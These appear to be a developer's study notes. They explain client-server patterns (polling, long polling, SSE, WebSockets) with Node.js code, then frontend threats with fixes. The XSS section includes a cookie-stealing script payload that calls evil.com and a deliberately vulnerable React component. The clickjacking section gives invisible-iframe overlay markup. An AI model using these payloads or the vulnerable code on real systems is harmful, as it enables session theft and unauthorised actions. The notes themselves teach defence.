19th July
Topic 1: 🌐 Client–Server Interaction Patterns (Sockets, SSE, Polling, etc.)
When a client (browser/mobile app) needs data from a server, they communicate using different interaction patterns.
Each pattern is designed based on how frequently data changes and how real-time the experience needs to be.
Let’s explore the most common ones with simple examples and basic Node.js backend code.
1️⃣ Request–Response (Traditional HTTP)
📌 How it works
- Client sends a request.
- Server responds once.
- Connection closes.
- Client must request again for updates.
📌 Best for
✔ Static or infrequently changing data
✔ Forms, page loads, CRUD APIs
📌 Flow
Client → Request → Server → Response → Done
🧑💻 Backend (Node.js + Express)
const express = require("express");
const app = express();
app.get("/time", (req, res) => {
res.json({ time: new Date().toISOString() });
});
app.listen(3000, () => console.log("Server running on 3000"));
🧑💻 Frontend (Browser)
fetch("http://localhost:3000/time")
.then(res => res.json())
.then(data => console.log(data));
2️⃣ Polling
📌 How it works
Client repeatedly asks the server for updates at fixed intervals.
Client → Request → Server → Response
(wait)
Client → Request → Server → Response
(wait)
📌 Best for
✔ Simple real-time updates
✔ When server cannot push data
📌 Downside
❌ Many unnecessary requests
❌ Higher server load
🧑💻 Backend (Node.js)
Same as request-response — no change needed.
app.get("/status", (req, res) => {
res.json({ status: Math.random() > 0.5 ? "ON" : "OFF" });
});
🧑💻 Frontend (Polling every 3 sec)
setInterval(async () => {
const res = await fetch("/status");
const data = await res.json();
console.log("Status:", data.status);
}, 3000);
3️⃣ Long Polling
📌 How it works
Client sends request → server holds it until data changes → responds → client immediately sends new request.
Client → Request → (Server waits)
Server → Response when data ready
Client → New request immediately
📌 Best for
✔ Near real-time updates
✔ When WebSockets not available
🧑💻 Backend (Node.js example)
let clients = [];
app.get("/long-poll", (req, res) => {
clients.push(res);
});
setInterval(() => {
const data = { message: "New update " + Date.now() };
clients.forEach(res => res.json(data));
clients = [];
}, 5000);
🧑💻 Frontend
async function longPoll() {
const res = await fetch("/long-poll");
const data = await res.json();
console.log(data);
longPoll(); // request again
}
longPoll();
4️⃣ Server-Sent Events (SSE)
📌 How it works
Server keeps connection open and continuously pushes updates to client.
✔ One-way communication (server → client only)
Client connects once
Server keeps sending events
📌 Best for
✔ Live feeds
✔ Notifications
✔ Stock prices
🧑💻 Backend (Node.js SSE)
app.get("/events", (req, res) => {
res.setHeader("Content-Type", "text/event-stream");
res.setHeader("Cache-Control", "no-cache");
res.setHeader("Connection", "keep-alive");
setInterval(() => {
res.write(`data: ${JSON.stringify({ time: Date.now() })}\n\n`);
}, 2000);
});
🧑💻 Frontend
const eventSource = new EventSource("/events");
eventSource.onmessage = (event) => {
console.log("Server event:", JSON.parse(event.data));
};
5️⃣ WebSockets (Full Duplex)
📌 How it works
Persistent connection where both client and server can send messages anytime.
✔ Two-way real-time communication
Client ⇄ Server (always connected)
📌 Best for
✔ Chat apps
✔ Multiplayer games
✔ Live collaboration
🧑💻 Backend (Node.js WebSocket)
Install:
npm install ws
const WebSocket = require("ws");
const wss = new WebSocket.Server({ port: 8080 });
wss.on("connection", ws => {
console.log("Client connected");
ws.on("message", msg => {
console.log("Received:", msg.toString());
ws.send("Server received: " + msg);
});
setInterval(() => {
ws.send("Server push " + Date.now());
}, 3000);
});
🧑💻 Frontend
const socket = new WebSocket("ws://localhost:8080");
socket.onmessage = (event) => {
console.log("Message:", event.data);
};
socket.onopen = () => {
socket.send("Hello server!");
};
6️⃣ Comparison Summary
| Method | Direction | Real-time | Complexity | Use case |
|---|---|---|---|---|
| Request-Response | Client → Server | ✅ | Very Low | APIs |
| Polling | Client → Server | ⚠️ Limited | Low | Simple updates |
| Long Polling | Mostly Server push | ✅ | Medium | Near real-time |
| SSE | Server → Client | ✅ | Low | Notifications |
| WebSockets | Two-way | ✅ Real-time | High | Chat, games |
Topic 2: Frontend Security Threat Modeling
(XSS, CSRF, Clickjacking)
What is Threat Modeling?
Identifying how attackers could exploit your frontend and preventing those attack paths.
Goal:
- Prevent malicious execution
- Protect user session
- Protect data integrity
Cross-Site Scripting (XSS)
XSS happens when an attacker injects malicious JavaScript into your web page and the browser executes it as trusted code.
The browser cannot distinguish attacker code from your code if you render it.
🧪 Real Example — User Comment System
Imagine your app allows users to post comments.
You store comments and display them on a page.
❌ Vulnerable React Code
function Comment({ text }) {
return (
<div dangerouslySetInnerHTML={{ __html: text }} />
);
}
Why dangerous?
Because you are rendering raw HTML from user input.
🧨 Attacker Input
Instead of normal text, attacker submits:
<script>alert("Your session is stolen!");</script>
Or worse:
<script>fetch("https://evil.com/steal?cookie=" + document.cookie);</script>
💥 What the browser does
When your page renders:
React rendersHTML
↓
Browser parsesHTML
↓
Browser executes <script>
↓
Maliciouscode runs
User session compromised.
🎯 What attacker can steal
Attacker JavaScript runs with same permissions as your site.
They can access:
- Cookies (if not HttpOnly)
- LocalStorage
- SessionStorage
- JWT tokens
- DOM data
- User actions
- Make API calls as user
This is full account takeover.
🧠 Why this happens (trust boundary violation)
Your system trusted:
Userinput → safecontent
But attacker turned input into executable code.
🛑 How to fix it (correct mitigation)
✅ Best fix — never render raw HTML
function Comment({ text }) {
return <div>{text}</div>;
}
React automatically escapes:
<script> → <script>
Browser shows text, not execute.
✅ If you MUST render HTML (CMS, markdown, etc.)
Sanitize before rendering.
Example using DOMPurify:
import DOMPurify from "dompurify";
function Comment({ text }) {
const safeHtml = DOMPurify.sanitize(text);
return <div dangerouslySetInnerHTML={{ __html: safeHtml }} />;
}
Sanitizer removes:
- script tags
- event handlers
- malicious attributes
Additional protections
1️⃣ HttpOnly cookies
Even if script runs:
document.cookie → blocked
Prevents token theft.
2️⃣ Content Security Policy (CSP)
Browser rule:
Do not execute inline scripts
Even injected <script> will fail.
(an HTTP response header that tells a web browser which sources of content (like scripts, stylesheets, images) are allowed to load on a webpage)
3️⃣ Avoid storing tokens in localStorage
XSS can read them easily.
Use secure cookies instead.
⚠ Important clarification — React is mostly safe
React escapes content by default:
<div>{userInput}</div>
Safe.
But React becomes vulnerable when developer:
- Uses
dangerouslySetInnerHTML - Injects HTML strings manually
- Uses third-party widgets unsafely
So React reduces risk — does not eliminate it.
📊 Types of XSS
→ Stored XSS
Malicious code saved in database.
Example:
- Comments
- Profile bio
- Forum posts
Most dangerous.
→ Reflected XSS
Malicious code in URL.
Example:
example.com/search?q=<script>...</script>
Server reflects input → executes.
→ DOM-based XSS
Frontend JS inserts untrusted data into DOM.
No server involved.
Example:
element.innerHTML = location.hash;
🧩 Real System Design Scenario
Social media platform:
User posts comment
↓
Stored in DB
↓
Shown to millions
↓
Malicious script executes for every viewer
One attacker → mass compromise.
Cross-Site Request Forgery (CSRF)
Attacker tricks user’s browser into sending authenticated requests.
Example:
User logged into bank → malicious site triggers transfer request.
Why it works:
- Browser automatically sends cookies
Prevention
- SameSite cookies
- CSRF tokens (A CSRF token is a secret value generated by the server and sent to the frontend. Every sensitive request must include this token). Cookie proves identity CSRF token proves intent
- Double submit cookie pattern: (Server sends same token in two places: 1️⃣ Cookie, 2️⃣ Request header/body. Backend checks if both are same and then proceed further). Very common in comparison with CSRF tokens,
Read more about cookies here
Clickjacking
Attacker loads your site inside invisible iframe and tricks user to click.
Example:
User clicks “Play video” → actually clicks “Transfer money”.
Let’s build attacker page mentally.
Step 1 — attacker loads real bank page invisibly
<iframe src="https://bank.com/transfer" style="
position:absolute;
top:0;
left:0;
width:500px;
height:500px;
opacity:0;" >
</iframe>
This means:
✔ bank page is fully loaded
✔ user is already logged in (cookies auto sent)
✔ transfer page ready
✔ but invisible
Important:
👉 The real transfer button exists and is clickable.
Step 2 — attacker places fake button on top
<button style="
position:absolute;
top:200px;
left:300px;"
>
▶ Play Video
</button>
Now attacker carefully aligns this fake button exactly over the real transfer button inside iframe.
So visually:
User sees PlayVideo
Under it → real Transfer button
Like placing a sticker over a switch.
Step 3 — user clicks
User thinks:
I clicked Play Video
But browser calculates click position:
Mouse position = (300px,200px)
That coordinate exists inside iframe.
So click is delivered to:
Real transfer button
Transfer happens.
🧠 Why browser allows this?
Because:
✔ iframe is interactive
✔ it accepts pointer events
✔ opacity:0 does NOT disable clicks
✔ browser does not know user intent
Browser only knows coordinates.
Full flow summary
User logged into bank.com earlier
↓
User visits evil.com
↓
evil.com loads bank.com invisibly
↓
evil.com places fake button aligned
↓
User clicks fake button
↓
Real bank button triggered
↓
Action executed as authenticated user
🎮 Simple physical analogy
Imagine:
- TV remote on table
- Someone puts transparent glass on top
- On glass they draw fake button
You press fake drawing.
But pressure goes through glass → presses real remote button.
That’s clickjacking.
Prevention:
- X-Frame-Options header: X-Frame-Options: DENY, Do NOT load website inside iframe.
- CSP frame-ancestors:
Meaning: Only same domain can embed this page.
Content-Security-Policy: frame-ancestors 'self'
No site can embed this page (strongest protection)
frame-ancestors 'none'
HTML example
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'">
FYI: Both of the above can be set by the response header that loads the main website.
- Frame busting : A JavaScript technique that tries to break the page out of an iframe if it detects it’s being embedded.
if (window !== window.top) {
window.top.location = window.location;
}